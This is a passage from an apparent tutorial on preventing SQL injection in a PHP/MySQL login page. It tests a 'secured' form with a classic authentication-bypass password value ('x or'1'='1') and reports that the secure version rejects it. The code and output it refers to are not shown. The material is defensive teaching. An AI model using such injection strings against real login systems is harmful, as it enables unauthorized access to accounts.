code is vulnerable to sql injection attack.
Now login to form which is secure from sql injection
attack
username : sunil
password : x or'1'='1
secured sql injection login page :

The above HTML form sends output to the php file


sql_injection_secure_login.php which validates the input
of the form from mysql database (sql_inj_test) table
admin which consists of username sunil and password as
12345.
when login with input password like (x or'1'='1 ) it
should fail the authorization and return error.

OUTPUT :

Clearly from the second result we can see that the second
PHP code is secure to sql injection attack since it
doesnot allowed the password as (x or'1'='1).

Vous aimerez peut-être aussi